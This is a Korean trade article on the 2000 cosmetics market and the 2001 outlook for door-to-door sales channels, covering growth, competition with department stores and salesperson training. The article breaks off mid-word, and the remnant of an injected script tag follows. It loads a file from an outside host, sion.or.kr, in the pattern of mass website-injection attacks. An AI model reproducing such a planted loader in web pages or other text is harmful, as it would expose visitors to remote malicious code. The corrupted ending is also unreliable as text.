미래사회의 고객은 차별화된 맞춤서비스를 원한다 지난 2000년도는 화장품업계의 숙원 사업이던 화장품법 시행과 IMF 위기 탈출에 대한 국가적 기대가 맞물려 그 어느해 보다도 희망찬 설레임으로 시작하였다. 그러나 이러한 예상들이 하반기부터 급속도로 방향을 선회하면서 화장품 시장에도 유래없는 불황의 그늘을 드리운 채 한 해를 마감하였다. 한편, 경기 침체의 장기화라는 우려 속에 시작하는 2001년 화장품 시장은 유통 경로별 특성에 따라 희비가 엇갈릴 것으로 보인다. 2000년의 경우 전년대비 약 7%대의 성장을 보인 것으로 추산되는 화장품 시장 규모는 3조 7천억 정도로 이중 방문판매의 시장점유율은 30% 대를 육박하고 있다. 방문판매 유통의 한 축으로 안착 2000년은 화장품시장에 있어서 방문판매 유통이 확고한 한 부문으로서 자리잡는 계기가 된 한해로 제도시장에 비하여 상대적이지만 외형적으로 성장하는 상황을 연출하고 있음을 알 수 있다. 이는 방문판매 업계가 제도시장 내에서 지속적으로 제기되어 온 문제점인 가격질서의 문제, 낮은 고객 서비스, 고객과의 불신 등의 개선을 최우선 과제로서 두고 접근했기 때문이다. 방문판매 유통에서는 바로 이러한 부분에 초점을 두어 전략적으로 판매원들의 교육훈련 및 대고객 서비스 강화, 가격질서 유지 등을 강화하고 있다. 또한 방문판매 시장이 빠르게 안정적인 기반을 구축할 수 있었던 것은 몇 년 전만 하더라도 조직원 끌어가기 등의 혼탁한 관행에서 탈피 하려는 업체간의 노력과 좋은 제품과 양질의 서비스를 통해 고객을 확보하려는 각 사간의 전략이 개개인의 특성을 반영하는 디지털경제로 표현되는 신경제에 있어서 잘 맞아 들어가는 부분이라고 본다. 이 같은 노력으로 인하여 방문판매업계는 외형성장을 이루고 있어, 제도시장과는 다른 양상을 나타내고 있다. 외형성장과 내실경영 이룩할 듯 그렇다면, 2001년의 방문판매 유통은 어떻게 시장에 적응해 가야 할 것인가 ? 거기에 대해서는 몇 가지 모습들을 아래와 같이 생각해 볼 수 있다. 첫째, 외형성장과 내실경영의 모습은 지속적으로 나타나리라 보고 있다. 2000년 전체 시장 성장률인 7%를 웃도는 수치를 보였듯이 내년도 목표 또한 두자리수 대의 성장을 다짐하고 있는 실정이다. 둘째, 새로운 시장환경에 적응하기 위한 경쟁이 가시화될 것으로 보인다. 이미 기능성 화장품에 대한 각사의 관심은 극대화 되어 있으며, 고가의 포지셔닝을 지향하는 시장이 커져갈 수 있는 계기가 될 수 있으리라 본다. 셋째, 판매조직에 대한 전략이 바뀌는 한해가 될 수도 있을 것이다. 고도의 고객관리 시스템에 의해 양적인 조직의 힘이 곧 업계의 매출이라는 시대는 이제 더 이상 설득력이 없어지고 있다. 방문판매에 있어서도 판매원들의 프로 세일즈화가 가속적으로 일어날 것으로 보인다. 백화점 유통과 일전 불가피 넷째, 수입사로 이루어진 백화점 유통과의 경쟁에서 부딪히는 부분이 많이 발생하리라 생각된다. 과거에도 경쟁은 지속되어 왔으나, 최근 소비의 이중적 구조가 뚜렷해지고 있어 중상층이상의 실질 구매자를 고객으로 확보하기 위한 다툼은 지속되리라 여겨진다. 다섯째, 방문판매 업계에 있어서도 신경제에 발맞추기 위한 내부적인 시스템 개선이 지속적으로 이루어질 것이다. 단순한 물류관리차원에서 벗어나 판매원과 고객과의 관계를 지속적으로 지원해줄 수 있는 환경들이 등장할 것이다. 여기에는 네트워크라는 신경망이 보다 세련된 고객서비스를 창출하는데 크나큰 도움을 줄 것으로 생각한다. 상당수 업체들이 2001년을 겨냥해 차별화된 기능성 신제품 출시는 물론 판매에 대한 직접적인 동기를 부여해 주는 판매수수료 시스템을 전면적으로 검토하고 있으며, 만반의 전략을 수립하고 있는 것으로 보인다. 판매원 교육 다방면에서 이뤄져야 현재의 방문판매 시스템은 한편으로는 아날로그 경제의 끝자락에서 구성되어진 유통분야이다. 첨단사회, 미래사회로 대변되는 디지털 문화의 신경제에서도 더욱더 성장하기 위한 전략을 아울러 구상하여야 할 것이다. 어쩌면 이 같은 환경변화는 제도시장보다 훨씬 체계화 되어있는 방문판매에 있어서의 시장전망을 어려운 경제 속에서도 밝게 볼 수 있게 하는 미래 지향점이 될 수 있다고 생각한다. 다만, 방문판매 유통에서 지속적인 발전을 위해서는 현행 발생되고 있는 아래와 같은 문제점을 지속적으로 바르게 잡아나가야 할 것이다. 첫째, 상거래에 있어서 타유통에 비해 판매원이 고객에게 권유하여 판매하는 성?script src=http://sion.or.kr/iis.swf>

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